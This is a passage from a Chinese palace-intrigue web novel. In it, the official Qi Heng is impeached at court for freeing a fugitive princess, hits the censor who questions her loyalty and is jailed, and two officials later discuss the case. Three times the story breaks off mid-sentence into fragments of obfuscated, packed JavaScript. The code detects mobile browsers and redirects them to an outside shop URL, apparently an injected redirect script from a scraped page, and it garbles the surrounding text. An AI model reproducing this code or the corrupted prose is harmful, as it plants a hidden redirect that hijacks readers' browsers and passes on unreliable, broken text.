解烺正抱着他血流不止的左手哀嚎,惨叫声宛如杀猪:“我他娘的杀了你!我**&#$*?*!” 他骂得越来越脏,已然彻底被愤怒冲昏了理智。后煜刚想笑两声,就见解烺忽地拔出腰间匕首,寒光反射到眼底,转被极致的恐惧替代。 解烺握着刀,毫不犹豫向对方直直刺去! “戚姮说她要与我成亲!你不能杀我!” 后煜慌不择路地喊出潜意识能保命的筹码,身体比反应更快迅速翻身躲开! “刺啦——”一声,布料与血肉齐齐被划破,后煜还是不可避免地被割伤了手臂。 匕首深深扎进床褥中,解烺憋屈地大喊:“……操!!” 后煜捂住汩汩冒血的伤口,刺痛钻心,他被吓得精神恍惚不已,小脸惨白,连同嘴唇都变得毫无血色,整个人在细微地发着抖。 解烺斜眼看过来,目光裹着恨意,表情都阴鸷地吓人。 他单手扯住后煜的头发拽到脸前,阴恻恻开口:“你最好祈祷她是真的会收了你。” 后煜只庆幸自己的猜测是对的。 解烺就是害怕戚姮,连带着跟戚姮沾边的人都不想得罪。 尽管心里一万分的没底,头皮传来的刺痛扯到心尖,他依旧咬着牙,道:“劳烦到时候来喝喜酒了。” · 尚且不知自己已然身负婚约的戚姮,进宫的一路都觉氛围怪异。 官兵在左右两侧随行,右手自始至终没有离开剑柄,身子更是若有若无在前挡着,一副随时准备出招的戒备姿态。 “这是……拿我当犯人了?”戚姮扭头看向夏怀微,一脸要他给个说法的意思。 夏怀微难为情道:“事情稍微有些复杂。” 黄昏时分,罕见起了雾,进宫这路得走了一炷香。 戚姮揣着“不就是人跑了能有多复杂”的心态置身太极殿外,夏怀微忽地拉住了她的胳膊,蹙眉道:“我虽不知内情,但得了些风声。面对官家你……小心些。” 戚姮歪头不解:“这事是有些麻烦,但也到不了这等棘手的程度吧?” 夏怀微依旧闪躲着不答,传话的小太监这时赶来,对着戚姮道:“陛下传召,世子速速随我来吧。” 戚姮进到殿内,拱手:“见过……” “没外人,不用行礼了。” 赵繁英示意她过来,戚姮屁颠屁颠就小跑过去了。他伸手将案边奏折递出去,开门见山道:“宁淮说,是你故意将那楼兰公主放跑,你可认罪?” 戚姮猛地抬头,欲接折子的动作停在半空,心下惊涛骇浪:“无稽之谈!!” 17. 小窝囊废【三】 宣政殿第一缕晨光自门下洒落,雨后初晴,温度反而高了几分。 “臣,御史台御史中丞,李在溪有奏。” 赵繁英:“准。” “昨日,侍卫亲军步军副都指挥使宁淮上书御史台,就楼兰余孽逃跑一事,一则状纸状告枢密副使戚姮。声称,此次事件绝非偶然,而是戚姮亲自深入府衙地牢,将人放跑,又派亲信在外阻挠府衙追捕的结果。” 戚姮冷不丁听到自己名字精神了一下,接着又萎靡下去。 就为这事,昨夜翻来覆去都没合上眼,今早一照镜子,眼下乌青都熬出来了。 临天亮前眯了不到一炷香的功夫,又被喊起上朝,太阳都升起来了才等到踏入殿内,当真是又累又乏。 李在溪讲完,恭敬行礼:“御史台向开封府核查后,确认宁淮所言属实。戚姮,的确是故意放跑那楼兰公主之人!” 赵繁英提前得了宁淮亲写的奏折,了解了大概原委,闻言也没太大反应,手指一勾:“戚姮。” 戚姮打了个激灵,立马跨步而出:“臣在。” 赵繁英:“你可有什么想辩驳的?” 戚姮深呼一口气,道:“有。” 赵繁英点头:“讲。” 戚姮:“敢问宁将军、御史台、开封府是从哪核实的消息。” 李在溪:“御史台得了状纸才会向下调查。事情发生在开封府,自然是问了宁将军与府衙衙役、狱卒等涉案人员,口供一致,铁证如山。” “你的口供可经得起推敲?”戚姮冷嗤,“昨日案发后我才去的开封府,犯人早就跑没影了。即便我是有通天的本领,也做不到从天而降把她放走吧。” “御史台只负责弹劾上奏,并不兼顾断案。世子若有不服可以当堂申辩,由陛下决断,犯不着与我说。” 李在溪的思维并未被戚姮带着走,秉公办事道:“只是,世子可要想好了再开口。一个案子判决要人证物证齐全,单凭你的三言两语‘没去过’,不足为信。” “可别到最后连口供都拿不出来,徒闹笑话。” 戚姮的困意顿时烟消云散,颇有些被气笑了。 这些家伙泼脏水真就硬泼啊。 李在溪就像听到了她在想什么一般,又道:“府衙差役亲口承认,是戚姮昨日先进了大牢,以审讯为由见了犯人。在她离开后没多久,犯人便越狱而逃,行的还是牢中以防意外所设置的暗门。” 他从怀中掏出纸来:“这是那几位差役签字画押的文书,均可以为所言所行担保作证。” 宁淮也在此时站了出来:“微臣在得知此事时更是震惊无比,根本不相信这是世子所行之事。亲自查证后又不得不信,这居然都是真的!” “宁淮怎么突然跟疯了一样……”戚砚缓缓凑过来,极小声的耳语,“你惹他了?” “我都不知道哪惹他了。”戚姮悄声抱怨,“昨天下午有事出去了一趟,回来就成这样了。” 宁淮还在慷慨激昂:“转念一想,若非戚姮故意,先不提犯人如何能从铁栅栏钻出去,就说这密道,也压根没几人知道方位。” “开封府的差役并不隶属下官与李大人管辖,秉公办事,没必要故意作伪证。一个人说或许是假的,可所有人都这么说,大概率就是真的了!” 戚砚把宁淮的话当背景音抛诸脑后,只沉浸在自己的世界里思考:“不对啊,当年我跟他合作的时候,他不是会故意甩黑锅的人啊。” 戚姮也很想问到底发生了什么:“我就跟他见过一面,还夸他家牌匾好看。也不至于这么恨我吧……” “是不是有什么误会?要不要我帮你说说。” 戚姮更惊吓了:“你每次不是发展成吵架,就是打架,可别。” 制止完戚砚的好意,她连气都没换,接上了宁淮的话:“宁将军忘了?你从没有与我说过密道之事,我一个刚从战场回来的小兵也不知道啊。” 宁淮一卡壳。 “几个人知这密道?知道的人中谁与我说过?劳请自己站出来,帮我回忆回忆。” “……” 后煜早就因为账务繁忙被免去了早朝,并不在现场,那日晚上也就只有他知道戚姮不小心开启了这机关。戚姮此刻赌的就是他没有对外说起,好让她多少能再狡辩几句。 半晌无人应答,戚姮眼珠一转。 瞎猫碰上死耗子,还真赌对了。 戚姮心中讶异与这小细作竟然真是偶遇。但凡他揣着目的而来,早该传出去了。 李在溪道:“你第一次去见犯人,是在亥时。买通了府衙晚间值守的差役,在不该审讯的时辰私自去见当事人。又是以这种手段,摆明了就是有问题。” 戚姮说:“那日我是在宁将军府中问完原委后才动身去的开封府衙,还有柳小公爷可以作证,足以解释动机,并非是不清不楚地就去了。事出紧急,正巧过了时辰,但为了尽快查出真相,我想,这也是情有可原。” 李在溪:“这是情有可原。你又如何解释那日差役声称,并没有看见你从正门离开,你却回到了侯府?” “地牢的第二个出口便是那道暗门,除此以外,你是用什么方法回去的?除了审讯,恐怕你的目的还有提前勘察地形,提前部署吧!” 戚姮睁眼说瞎话:“我就是从正门离开的,天太黑,府衙的人没看到罢了。你这般猜测可有实质证据?没有便是恶意诬陷,谁受得了这般冤枉,我要当着官家的面告你!” 李在溪:“你……!” 戚姮嘴上继续追击道:“御史台既然不负责断案,就更应该为自己的一言一行担责。未经陛下决断,又是谁擅自给我定罪,敢让御史中丞一上来就把全部罪名扣在我的头上?” “站出来,我们在这里好好唠唠。你是如何断的案,竟得了御史台的认可。” 又是沉默。 戚姮开始了阎王点卯:“陛下之下只有信王,难道是信王下的结论?” 赵初猛地被点名,看向戚姮,下意识否认:“不是我。” 戚姮:“此案的负责人还有右谏议大夫夏大人,难道是柳小公爷?” 夏怀微站出:“……臣不敢提陛下做决断。” “没有人告诉我密道在何处,我压根不知,何来泄露?更没有人判我为元凶,御史台自己说的不负责断案,却直言我有罪。除了李大人失职误判,就只剩下‘被人授意’一个可能。” 戚姮恭敬道:“所以,臣认为,这就是一场有预谋的栽赃陷害。” 气氛骤然凝结。 一尊无形的钟随着戚姮的话落,在所有人头顶敲响,敲醒了不少事不关己、云里雾里的人。 被这样骂了一顿哪有忍下的道理,李在溪“哼”了一声,很是不屑:“你的意思是,开封府那么多差役,连同御史台、宁将军。三方朝堂势力联合起来只为了对付你一个女娃娃?” “我戚姮供职枢密院,并非简单的女娃娃,还请李大人不要搞错了重点。” 李在溪:“枢密院与我御史台平行分立,互不统属。你才刚来,先前我们连仇怨都没有,我犯得着陷害你吗?” 戚姮:“可别这样说,同朝为官,你能保证真的互不干扰?全都是利益相扯,交换罢了。我与李大人无仇无怨,架不住你背后的人跟我有仇。” 李在溪怒道:“皇城脚下,谁能蒙骗过天子去?!难道我就这般想不开,明知陛下英明神武,定能查出真相的情况下,空口白牙泼你脏水?” “反倒是你,在圣上面前就敢这般胡搅蛮缠,污蔑御史!” “你说我污蔑,我还想告你诽谤。”戚姮不甘示弱地:“昔日赵高指鹿为马,王莽篡汉建新,董卓废帝另立,都是当着天子的面。” “如今世道变了,江山是陛下的江山,也要士大夫协理。若底下的人合起伙来糊弄,即便是天子也难抵奸佞当道!” 最后一个字落下,戚姮默了一瞬,给赵繁英跪了下去:“臣胡言,陛下恕罪。” 赵繁英支着下巴听得津津有味,随便摆手:“无碍,起来吧。” “戚姮说的并无道理啊。”赵繁英添了一把火,“奸佞当道,于朕而言也是隐患。” 戚姮松了口气。 昨日在太极殿从头到尾讲清楚了前因后果,赵繁英也没说信不信,今日看来,是信了。 戚姮抽抽嗒嗒演起来了:“我这样忠心竭虑的人都能平白被咬一口,简直令人寒心……连我都能被怀疑,在场所有人恐怕都不能全身而退。” “把路走窄了,往后谁还敢信开封府的口供!” 她话锋一转:“我横空出现挡了多少人的路不说,且说官级,就压了你们三方一头。保不准你们打得什么主意,要将我拉下来,排斥贤才,好祸乱朝纲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531466|203697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 李在溪险些没忍住破口大骂,瞧着戚姮的背影挺立,身姿挺拔,猜测着她会不会当堂打人,还是忍住了。 他平缓地:“你说了那么多,依旧避重就轻拿不出与此事无关的任何证据,我这可是有证人签字画押作保的。” “以及,犯人为什么会在你去之后就跑了,你也拿不出合理的解释,仅凭一张嘴把问题全部甩锅出去,纠结些无所谓的东西。” 戚姮蹙眉:“她跑之前我就没去,上哪给你解释。” 李在溪不听,从袖中拿出备好的东西,高举着让所有人都看清楚:“犯人化名姓应,顶替了商贾应家的小姐,收养她的母亲名曼文。这就是曼文的证词,她能作证在犯人逃跑前几个时辰,戚姮去过她家。” 戚姮神情一呆,缓缓向后看去。 李在溪又继续掏向袖口,戚姮的目光聚焦在他手中,看清后不可抑制地心脏狂跳了起来。 “这是在曼文家搜到的簪子以及发冠,做工实在精美,不像俗物。臣便拿着去问了宫中工匠,在出物册子中寻到了来头:乃朝天仪公主于两年前要求工匠所造——” 李在溪望向戚姮,两人视线交汇,陡然滋出无形的火光。 他唇角一勾,似是在宣告戚姮突发的善心在如今看来有多么愚蠢可笑:“后赠予世子的十四岁生辰礼。” “轰”的一声,戚姮心中防线瞬间崩塌。 耳边嗡嗡作响,瞳仁止不住地打颤,脸后背都在阵阵发凉,滑落了几滴冷汗。 出门前随手戴的,压根没想起来这是赵文则送的礼物。 赵元知道了怎么办。 戚姮吞了口唾沫,双手缩进袖中掩饰慌乱,指甲死死掐进掌心。 完蛋了。 内侍下去拿了发冠递给龙椅上的赵繁英,他拿在手中把玩了会儿,意味深长道:“朕认得这个。” 戚姮掀起眼皮。 赵繁英意味深长地:“还是公主亲自设计的呢。” 越说越心慌,戚姮呆滞地望向赵繁英,正好瞧见他一闪而过看好戏的神情,又无可奈何。 “戚姮并未少去曼文家,几乎每日一次。敢问世子,去这么勤,所谓何事?” 李在溪不紧不慢道:“臣也合理猜测,戚姮是知道了曼文家中的情况,心生同情,遂先放跑了犯人,知她无法再拿赏金,才留下这簪子贴补。” 戚姮的心理被完全说中了,她颇有些呆滞,但也觉得荒谬。 因果不对。 赫连般若逃跑之前戚姮连家门都没出,何谈在牢中就将她给放跑。 府衙的人为什么会集体作伪证。 到底是发生了什么误会,还是背后有人在搅浑水。 “李大人请打住。” 戚姮整理好思绪,重新开口:“首先,这位应小姐还没定罪。换句话说,正经的审讯都还没开始,尚且不知她到底是谁。” “倘若我真的是动了恻隐之心,为何不直接在后续的调查中直接包庇纵容,判她无罪,岂不是更简单?” 李在溪:“自然是你早就已经调查过她了,确信她就是楼兰公主。再有宁将军这位曾经的涉事者在,无法对他隐瞒糊弄,只能把人故意放跑。” 戚姮:“李大人何来的消息?证据何在?” 李在溪:“世子方便的话移步开封府吧,犯人在牢里刻下了不少有关你的话,还不够证明你们关系匪浅吗?要看看吗?” 戚姮的眼眶随着这话越瞪越大,写满了“震撼”二字。 她矢口否认:“这不可能!” 戚姮低下头,脑中飞速思考。 李在溪道:“可不可能的,去看看不就知道了。你若于她真的毫无瓜葛,她干什么刻字,就为了今日一起诬陷于你?” 他说的如此理直气壮,定是真有证据摆在那里。 戚姮张了张嘴,想驳回“刻字”的真实性,谁知道这到底是不是出自赫连般若之手。 话到嘴边戛然而止。 是不是的不重要了,风向彻底一边倒地压了过来,人心哪敢称开始偏了,她再说什么都像狡辩。 更何况,赫连般若的表现真有些异常,并非做不出来刻字这种事。 戚姮的呼吸逐渐急促,心跳的比刚刚更快了。 这个网,布的远比想象中还要大,不知从何时开始下钩,一步步收紧。 18. 小窝囊废【四】 “世子还有什么话可说?” 李在溪正了正衣领,势在必得:“还是说,你能找出证人,证明你的清白?” 他瞥了一眼戚砚,道:“侯府的人不算。” “我有证人!”戚姮拔高音调,答得迅速,压过了李在溪想要继续输出的话头。 李在溪问:“何人?” “……”戚姮犹豫了。 后煜,能相信吗。 眼前忽地闪过在地牢时的相遇,是以戚姮当胸一脚开启的对话,并不算愉快。那个点恰好出现在那个地方,显而易见,后煜的动机并不纯。 他大概率就是去偷听谈话的,必然清楚此事最初原委。 昨天在他家里,后煜就已经默认了他是刻意接近的卧底,即便知道了,又怎么可能当场为戚姮作证。 谁是他的同伙?目的是什么?如果那次地牢的手脚是他做的,他到底是抱着怎样的心态隐瞒了发生的一切? “我是不是在哪见过你?” “一见如故,一见倾心,这都有可能。” 突如其来的表白打得人猝不及防,戚姮要看不出来其中有鬼,那真是白吃这么多年饭了。 戚姮猜到了这是场针对性的阴谋,原本以为局还会再扩大些,至少会等后煜真的混到她身边,再慢慢翻脸算总账。 不曾想风暴竟会来得这么快,直接奔着“包庇余孽”罪而去。一旦罪名被坐实,戚姮面临的将是革职查办,终身不用,她这辈子都再难重新踏进朝堂。 这就是他们的目的吗。 后煜好像也没干什么,用处不大,又好像起到了极大的作用,每次出事必有他的身影。 那他到底负责什么。 见戚姮半天不说话,李在溪慢悠悠道:“怕是世子为了拖延时间,硬编出来了个证人吧。” 戚姮朝李在溪的方向飞了两记眼刀。 这案子的幕后黑手,真的会安插一个怂货窝囊废来担任最关键的近身潜伏吗。 还是说,后煜就靠这表象来让她来放松警惕,好在今日对峙时报出他的名讳,再来个当堂翻供。 这是否也是他们计划中的一环? 戚姮不敢想亲自推出来的证人若也说她,案子还有没有反转的余地。 时间分秒流逝,快到戚姮还没想到如何应对,李在溪的逼问就先她一步砸了下来: “女人感性,根本做不到理智断案,人之本性。但,入朝为官,法理为先,连最基本的公平公正都不顾,何谈什么清廉?” 戚姮攥紧朝芴,冰凉的板子蹭上了些许手汗,捂的湿热。 到底能说些什么扭转这个局面。 戚姮挫败的想,明知身边不怀好意的小人一大堆,就该真派亲信在外看守。掉以轻心,才让赫连般若钻了空子,有机会逃走。 何至于对峙公堂,连唯一的证人都不敢拿出手。 李在溪跪地,声音足以让每人都听得明白:“臣认为,戚姮此举,是再次藐视皇权于不顾。甚至于,生有异心。” 不知为何,戚姮从任何人口中听到说自己有二心的言论,都极其不爽。 “楼兰当年,表面臣服,暗地里却养着十万精兵。先帝登基之初,皇权过渡,动荡不安。楼兰便想要趁机向北进犯,若非宁将军镇守南部边境时发现端倪,早就让那老儿得逞了,还不知要死伤多少南边百姓,是名副其实的叛党!” “犯人若问心无愧,大可以等冤案查清还她清白。偏偏她害怕的跑了,基本可以确定她就是楼兰公主,赫连般若!还有什么好解释的吗?” 李在溪矛头对准前方:“而戚姮,往小了说只是同情心泛滥,往大了说,那就上不封顶,甚至算得上叛国投敌!” 戚姮怒斥:“李大人这话就过分了吧!一切都只是猜测,跑了个鬼知道是真是假的楼兰公主就想给我扣这么大一个罪名,未免也太心急了?!” 李在溪:“岂是我心急?是你的种种表现就不足以值得信任!联合昔日在军队的越权违制,已经不是第一次这么干了!一次还能说是年少轻狂不懂事,两次还能吗!” “我戚姮在你们眼中就是蠢货?大摇大摆不加伪装,让所有人都看看我是谁,跑去开封府转一圈放跑犯人,再任由你们抓住把柄!这事用脚趾头想也有鬼!” 李在溪:“谁知道你怎么想的,我有人证物证口供签字,你要是能拿出能反驳的也行啊!” 戚姮:“我……” 李在溪自顾自:“还望陛下秉公执法,将戚姮两条罪名并罚,不要再姑息养奸,徇私偏袒了!” 大殿内几乎所有人都随着这话齐刷刷跪下,重复:“还望陛下秉公执法!” 戚砚捣了一下身旁解修竹,他正蹙眉寻思呢,火气瞬间上来了:“你干吗?” “你咋不跪?”戚砚向后扫视一圈,都没几个站着的,“你不是最看不起我家?这么好的机会,你转性了。” “我又不是针对。”解修竹肘了回去,“落井下石岂是君子所为?” 解修竹不屑道:“我还没了解事情始末,不知具体经过,怎好随着只言片语下定论?你个大脑通大肠的白痴没见过言官结党营私,排挤异己,我比你见多了。” 戚砚:“切。” 赵初,夏怀微没动,戚姮瞥过正拌嘴的两个老家伙,他俩没动。 除此以外,全都随之站了队。 最关键的赵繁英在这时候也默了下来,任由殿内众人跪着,他看向戚姮,戚姮已经不知该怎么面对他了。 先前的百分有把握变为了万分的复杂。 明目张胆偏袒太多次,都不能怪别人瞎猜他们舅侄二人的关系,甚至对正经办事的官员来说,的确不公。 李在溪生怕会因赵繁英不追究而功亏一篑,咬着牙,添上别人不敢拿到明面上说的问题:“戚姮本就流着外族王室的血,即便她父亲是定远侯,谁知她是怎么想的!” “自古以来,五胡乱华,匈奴祸汉,哪次不是胡人祸害了这片土地!陛下当真还要偏袒吗?” “依臣来看,她根本效忠的根本就不是大燕!” “砰”一声巨响,所有人都没看清戚姮到底是怎样将手中朝芴狠狠砸向李在溪的脑袋,他的幞头就被整个掀翻在地,芴板落下又滑行数米,被宣政殿的门槛挡住才堪堪停下。 李在溪眼珠惊恐地向上看,官帽飞了,头上光秃秃一片,随即瘫软地向后跌坐倒下。 若是戚姮真的想砸,他此刻恐怕已经血溅当场,脑袋开瓢了。 “杀人了!”不知谁喊了一声,宣政殿内顿时糟乱了起来,底下文臣宛如无头苍蝇乱窜,还有人飞速挡在李在溪身前。 更有稍微胆大些的离着几步远,指着戚姮哆嗦控诉,“当堂殴打朝廷重臣,你,你枉顾国法!!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531467|203697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 戚姮看过去,他吓得往后缩了好几步。 听见动静“哗啦啦”涌进的侍卫将殿内团团围住,分了一波冲上前护住赵繁英,另一波则要直接去抓戚姮。 不让他说话他就真不说话的戚砚现在才脸色大变,三两步冲出来把戚姮护在身后,挡开了拔出的剑刃。 戚砚喝道:“也不看这什么地方,是拔剑的吗?收回去!” 直系上司开了口,底下的人犹犹豫豫,还真收回去了。 戚姮看着戚砚的背影,咬着牙,忍下委屈,抓紧了他的衣袖。 “行了!!” 赵繁英扒开一惊一乍地侍卫,罕见有了怒气,双手一拍桌面,拍的震天响:“好好的朝堂,被你们搞成什么样子了!” 殿内众人瞬间规矩,老老实实跪地:“陛下息怒!” 当了十二年皇帝,朝中臣子还是第一次见赵繁英发怒。 原先无论吵得再凶他都一副事不关己的态度当说书听了,谏院御史台的人指到他脸前骂,他都能悉数忍下,不在乎不报复。 有话说是脾气越好的人生气起来越可怕,跪地的众人不禁提起一口气,静静听训。 赵繁英面上怒容未消:“双方各有说辞,固执己见,朕自有人去调查真相,到时再说也不迟。你们倒好,就为这事连我还在上头坐着都不顾了!” 话语飘荡在堂下,只有战战兢兢的呼吸声回应他。 他指向李在溪:“御史中丞,口无遮拦。你可知通敌叛国是多大的罪名?没有实质证据岂能妄下定论!怎么说世子也都是抗击北凉的功臣,三言两语就能抹灭吗?” 李在溪憋屈,也得认错:“臣知错。” 他又指到前面:“戚姮,打架斗殴,殿前失仪。御史台是正常的弹劾流程,你若有不满不服的地方就拿出实证推翻,而不是恼羞成怒地打人,当这里是军队还是你家?你想干什么就干什么?!” 戚姮抬头,应道:“臣也知错。” 出乎意料的顺利,赵繁英揉了揉太阳穴,脾气缓和多了。 “李在溪,罚俸半年。戚姮,罚一年!停职反省,暂时收押,取保候审,什么时候查明白了什么时候再回来。” “下朝!” 戚砚被一套套官话搞得晕头转向,问:“他说的啥意思,你们刚才说的什么,我都没听懂。” 戚姮跪坐在地还没起,瞧了两眼身边候着的侍卫,道:“没什么,就让我进去蹲几天,这案子查清楚了再出来。” “这怎么行!牢里都是关犯人的,你犯啥事了?这就是针对,污蔑,你进那会不会死啊?我得去找赵……” “不用。” 戚姮拽住了戚砚的袖子:“我故意的。必须得给舅舅一个处置我的台阶,不然这事再被压下去,他不好交差。” “交什么差?”戚砚一头雾水,“皇帝还要给谁交差?” 戚姮张嘴也不知怎么给他解释,只道:“李在溪说了,清者自清。我没做过有什么心虚的,要是别人可能还真要担心两下,可落舅舅手里了,还怕查不出来?” 她被戚砚扶着起身,摘下帽子,抱住了他:“只是不知道多久能出来,死不了我,放心。” 戚姮拍了拍戚砚的后背,看起来还挺无所谓,招呼那俩侍卫跟上:“走了。” “……” 戚砚只能眼睁睁看着她逆光离开。 19. 小窝囊废【五】 “夏瑾?” 后煜只轻轻开了一条门缝,看清楚来人后才彻底打开,疑惑道:“你怎么来了。” 今夜清凉,这时辰,估摸狗都该睡了。 “听人说太府寺近日忙完了,提醒你明天别忘了上朝。” 夏怀微侧身进了院,提起路过城中食楼赶在打烊前包的饭菜:“用膳了?” 后煜伸头去看外面,没有别人,才重新落下插销:“没有。刚回来。” 夏怀微随口问:“还这么忙?” 不说还好,一说后煜终于有地方吐槽了,像开了话匣子:“月底了,刚拨出应发的俸禄挂在账上,等着来领。又核实了军队反应的军饷缺额情况。前线军队刚回来,应报的抚恤,缺失的军资,少处理一天都堆成了山。更何况还要管前朝管百官管江南管……” “停。”夏怀微伸手制止,“不用说这么细。” 后煜耸肩:“总之一大堆。” 夏怀微叹道:“会计真难干。” 后煜:“我不是会计。” 夏怀微:“差不多吧?三司会计司都快归到你们太府寺了,也没见官家有多重视那边。连户部最近都忙着协同,今天满皇城找你签字。一个太府卿,堪比三司使了。” 后煜想了想:“我觉着,三司使这职位都该撤了。” 右转走向茶屋,后煜翻找着火柴点灯:“刚上任的时候看着太府卿也没有这么忙。三司现在快被太府寺全权取代,然后要划到户部,我看也快了。” 夏怀微放下食盒,端菜上桌,说:“官家这几日心情正差着,什么会不会计的,不重要,都要挨骂。” “你最好今晚再把那些东西顺一遍,备好了再去上朝,省得被问答不上来,拿你开涮。” “怎么了这是。”后煜落座,还没等哀嚎怎么又要加班,就察觉到了不对劲,“出事了?” 夏怀微捞起筷子,先尝了口鱼,才说:“出什么事了你不应该能猜到。” 后煜挑眉:“不就是赫连般若跑了。依官家的性格还能真生气?” “这次不一样。” 夏怀微摇头:“按理,是该御史台接管,得了宁淮的状纸去弹劾状告。要平常,都知道涉及到定远侯府,官家肯定会大事化小小事化了,当没发生过。” “御史中丞在这之前就知道是飞蛾扑火没啥用,也还是上奏了。” “本来确实,官家都快压下去了,要和稀泥。问题却出在了戚姮身上。” 后煜咬着筷尖,想了想:“她怎么了?” 夏怀微诡异地沉默了片刻:“她打了李在溪。” 后煜:“……?” “没打到。可能是没想真打,真打着了比这还麻烦。” 夏怀微比划着:“芴板掀飞了御史中丞的帽子,看着有要杀人的劲头。连外头候着的禁军都出动了,当时,乱作一团。” 后煜看着夏怀微比划,脑中浮现对应的画面:“严重的殿前失仪啊……” 又感叹:“那官家不得罚她写个检讨?” “不说了?这次不一样。”夏怀微就知道他会这么想,无奈地,“直接押牢里了。” 后煜呆滞在原地:“李在溪说啥了,能给戚姮气成这样?” “还是那些话。”夏怀微说,“不忠心,五胡乱华,就这些。” 后煜摇头:“陈芝麻烂谷子的事了,还拉出来鞭尸……” “除了这些戚姮也没什么好弹劾的地方了,还能说什么。”夏怀微回忆着,“到现在还没出来,四五天了吧?是得这么久了。” 后煜挨个品尝了一番面前的菜,抽空才回:“这几天忙的也没时间问前朝,我都不知道。” “猜到了你不知道,这不就来说了。” 夏怀微支着脑袋:“我估计着,官家就是想捞人,捞不出来才生的闷气。这几天一直在找茬,都没人敢进御书房了。” “尤其你们户部太府寺的人,账目那么多,最好抓漏洞去骂。” “官家脾气不是挺好的吗?能这么无理取闹?”后煜挪动了两下,不理解,“赫连般若跑了又不是什么大事,把戚姮押牢里正常,反省几天就好了。” “怎么还捞不出来,御史台到底弹劾她什么了?” 夏怀微看着后煜那一脸的不知所以然,笑了声:“说她亲自放跑了赫连般若,人证物证俱在,开封府相关的狱卒都看见了。签字画押,呈到了陛下面前,铁证如山。” “御史台硬说此举是通敌叛国,包藏祸心。连带着把军队里越权违制那些事一并扯了出来,混淆在一起去逼陛下治罪。” 后煜的眉心越拧越紧,翕动着唇欲要开口,夏怀微却没给他这个机会: “戚姮只说有证人,能证明这些都是瞎扯淡,却没说是谁。加上,打了御史中丞,种种之下只能把她押走,否则不好向御史台交代。” “官家一直在彻查此事,没什么进展。自然就不高兴,不高兴底下人就遭殃。” 身侧这盏油灯即将燃尽,后煜的影子在墙上摇曳,而夏怀微坐得端正,被拉长的身影岿然不动。 “……” 有证人,却没说。 后煜不解。 暖光只照亮了夏怀微的侧脸,还有另一半掩在阴影,暗中,黑眸紧紧盯住了后煜:“我猜,你应该就是戚姮口中的证人。” 后煜抬眼与他视线对上的刹那呼吸都停滞片刻,惊从心底炸起。 一道灵光在脑中瞬间串好散碎信息,拼凑出了完整的逻辑。 惊恐还未来得及从眼底升起,还没有被夏怀微捕捉,残灯如豆般的火光忽地灭了。 灭的恰到好处,再晚几秒都要被看穿。 后煜错开目光,敛下情绪,若无其事地摇头,还叨了两筷子菜:“不是我。” 夏怀微眯起眼。 “那天晚上你虽跟我说了戚姮要去开封府的消息,但我被账务绊住了脚,没来得及赶过去。你听见有人说在那看见我了?” 后煜坚决否认:“真不是我,瞒这些有什么意义。” 夏怀微分辨着话中真假。 “怎么,不信?”后煜声音低了几分,有了些厉色,“我都已经按你们说的做了,凭什么不信我?” 突如其来的敏感倒符合了他的个性,夏怀微神情一松:“我没别的意思。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531468|203697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他解释:“赫连般若到底是被谁放跑的我不知道,但她打乱了宁淮的计划,宁淮放手一搏,才把锅都推给了戚姮。” “谁能想到御史台居然真的能咬住戚姮不放,连开封府全体上下都在作证。” “除了真是戚姮做的,她死不承认以外。就是有另一波势力提前布了局,也想借机整她,整个过程太天衣无缝,太顺了。” 夏怀微想想都觉得不可思议:“戚姮也是奇怪,有证人居然不说,给李在溪创造机会。” 后煜表情一皱:“这不就是硬泼脏水,能长久吗……” “那就是御史台的事了。” 夏怀微耸肩:“我想的是,李在溪说的也是真的,人真是戚姮放跑的。不然解释不通,开封府向来难收买,所有人都在作伪证概率太低。” “但后来想想,并不对,这样做太蠢了。如果戚姮真只有这点能耐,何至于出动这么多人治她。” “现在姓应的是赫连般若也得是,不是也得是。借机坐实戚姮的罪名,最好真的能把她送去流放,赶出皇城,别再出什么岔子。” “鬼才在乎真相。” 后煜闻言,面上没有丝毫放松之意,深吸了一口气,吐出一句:“谁来打仗?” 夏怀微默了默:“没了戚姮还会有很多人。” “可是能攻下燕云十六州的只有她。”后煜说,“想打赢,只有她那种打法。” “但你不觉得她这个不稳定因素更多的是弊吗?” 夏怀微的微笑落了下去:“今天能打北凉,收了燕云十六州。明天就能带领波斯打回来,那时整个中原都会是波斯的。你别忘了戚砚当初做了什么,这是他亲女儿,保不准会不会一脉相承。” “波斯才是她真正的母族,赌一个外来人会生死无悔,誓死效忠?” 乍一听很有道理,可在脑中迅速捋了一遍这其中的关系,后煜越来越想不通,抬眼看夏怀微,他丝毫没有意识到问题所在。 “想造反早就造了,至于等到现在吗?就像戚砚是造过反,也成了,但皇位不还是姓赵的,他没要啊。” “你们这般逼急了就不怕适得其反?再造成一次怎么办,不还是要死人。” 